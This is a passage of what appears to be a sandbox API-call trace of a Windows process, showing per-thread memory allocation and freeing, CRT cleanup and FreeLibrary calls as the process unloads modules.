[0140.089] free (_Block=0x2b436511610) [0140.089] LocalFree (hMem=0x2b436242dd0) returned 0x0 [0140.089] LocalFree (hMem=0x2b4362407f0) returned 0x0 [0140.089] LocalFree (hMem=0x2b436225390) returned 0x0 [0140.090] LocalFree (hMem=0x2b436239360) returned 0x0 [0140.090] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2b436242dd0 [0140.090] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x2b438351cf0 [0140.090] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x2b438351d20 [0140.090] free (_Block=0x2b436516f50) [0140.090] free (_Block=0x0) [0140.090] free (_Block=0x2b436516f30) [0140.090] free (_Block=0x2b436516f70) [0140.090] free (_Block=0x2b4365115f0) [0140.090] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2b4362805c0 [0140.091] LocalFree (hMem=0x2b4362805c0) returned 0x0 [0140.091] LocalFree (hMem=0x2b436243120) returned 0x0 [0140.091] LocalFree (hMem=0x2b436242dd0) returned 0x0 [0140.091] free (_Block=0x2b436515530) [0140.092] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7ffcc0bb0000 [0140.092] FreeLibrary (hLibModule=0x7ffcc0bb0000) returned 1 [0140.092] LocalFree (hMem=0x2b438351d20) returned 0x0 [0140.092] LocalFree (hMem=0x2b438351cf0) returned 0x0 [0140.092] GlobalHandle (pMem=0x2b436242bb0) returned 0x2b4363f0008 [0140.092] GlobalUnlock (hMem=0x2b4363f0008) returned 0 [0140.096] FreeLibrary (hLibModule=0x7ffcb5d30000) returned 1 [0140.097] FreeLibrary (hLibModule=0x7ffcb75a0000) returned 1 [0140.099] FreeLibrary (hLibModule=0x7ffcb6f40000) returned 1 [0140.105] FreeLibrary (hLibModule=0x7ffcb5cf0000) returned 1 [0140.107] FreeLibrary (hLibModule=0x7ffcb7590000) returned 1 [0140.110] FreeLibrary (hLibModule=0x7ffcb5cb0000) returned 1 [0140.114] FreeLibrary (hLibModule=0x7ffca7520000) returned 1 [0140.168] FreeLibrary (hLibModule=0x7ffcb6b90000) returned 1 [0140.169] FreeLibrary (hLibModule=0x7ffca7980000) returned 1 [0140.177] FreeLibrary (hLibModule=0x7ffca40f0000) returned 1 [0140.179] FreeLibrary (hLibModule=0x7ffca40b0000) returned 1 [0140.183] FreeLibrary (hLibModule=0x7ffcb5a60000) returned 1 [0140.184] FreeLibrary (hLibModule=0x7ffcb4740000) returned 1 [0140.185] FreeLibrary (hLibModule=0x7ffcb19e0000) returned 1 [0140.185] FreeLibrary (hLibModule=0x7ffca4020000) returned 1 [0140.202] FreeLibrary (hLibModule=0x7ffcb13c0000) returned 1 [0140.212] FreeLibrary (hLibModule=0x7ffca7500000) returned 1 [0140.216] FreeLibrary (hLibModule=0x7ffca3f20000) Thread: id = 302 os_tid = 0x460 Thread: id = 303 os_tid = 0x374 [0140.079] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2b4383304c0 [0140.079] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x2b438351a80 [0140.079] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x2b438351840 [0140.079] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2b4362803a0 [0140.079] LocalFree (hMem=0x2b4383304c0) returned 0x0 [0140.079] LocalFree (hMem=0x2b4362803a0) returned 0x0 [0140.080] LocalFree (hMem=0x2b438351840) returned 0x0 [0140.080] LocalFree (hMem=0x2b438351a80) returned 0x0 Thread: id = 304 os_tid = 0xd08 [0139.968] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2b436281c60 [0139.968] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x2b4383517b0 [0139.968] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x2b436287c20 [0139.973] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2b43627f3b0 [0139.973] LocalReAlloc (hMem=0x2b436287c20, uBytes=0x20, uFlags=0x2) returned 0x2b4362767c0 [0139.974] LocalFree (hMem=0x2b436281c60) returned 0x0 [0139.974] LocalFree (hMem=0x2b43627f3b0) returned 0x0 [0139.974] LocalFree (hMem=0x2b4362767c0) returned 0x0 [0139.974] LocalFree (hMem=0x2b4383517b0) returned 0x0 Thread: id = 305 os_tid = 0x36c